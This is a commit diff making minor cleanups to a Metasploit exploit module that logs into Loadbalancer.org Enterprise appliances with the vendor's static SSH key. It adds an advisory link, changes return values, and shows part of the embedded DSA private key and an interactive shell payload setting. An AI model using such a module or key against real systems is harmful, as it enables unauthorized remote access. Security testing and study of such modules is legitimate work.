Do minor clean up

modules/exploits/linux/ssh/loadbalancerorg_enterprise_known_privkey.rb

@@ -35,6 +35,7 @@ class Metasploit3 < Msf::Exploit::Remote
       'License'     => MSF_LICENSE,
       'References'  =>
         [
+          ['URL', 'http://packetstormsecurity.com/files/125754/Loadbalancer.org-Enterprise-VA-7.5.2-Static-SSH-Key.html']
         ],
       'DisclosureDate' => "Mar 17 2014",
       'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },
@@ -85,18 +86,19 @@ class Metasploit3 < Msf::Exploit::Remote
         ssh_socket = Net::SSH.start(rhost, user, opt_hash)
       end
     rescue Rex::ConnectionError, Rex::AddressInUse
-      return
+      return nil
     rescue Net::SSH::Disconnect, ::EOFError
       print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"
-      return
+      return nil
     rescue ::Timeout::Error
       print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
-      return
+      return nil
     rescue Net::SSH::AuthenticationFailed
       print_error "#{rhost}:#{rport} SSH - Failed authentication"
+      return nil
     rescue Net::SSH::Exception => e
       print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
-      return
+      return nil
     end
 
     if ssh_socket
@@ -107,7 +109,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
       return conn
     else
-      return false
+      return nil
     end
   end
 
@@ -134,7 +136,8 @@ MjxsAC/vthWYSTYXORkDFMhrO5ssE2rfg9io0NDyTIZt+VRQMGdi++dH8ptU+ldl
 SzmJVCWFyVuuANR2Bnc=
 -----END DSA PRIVATE KEY-----
 EOF
-    end
+  end
+
 end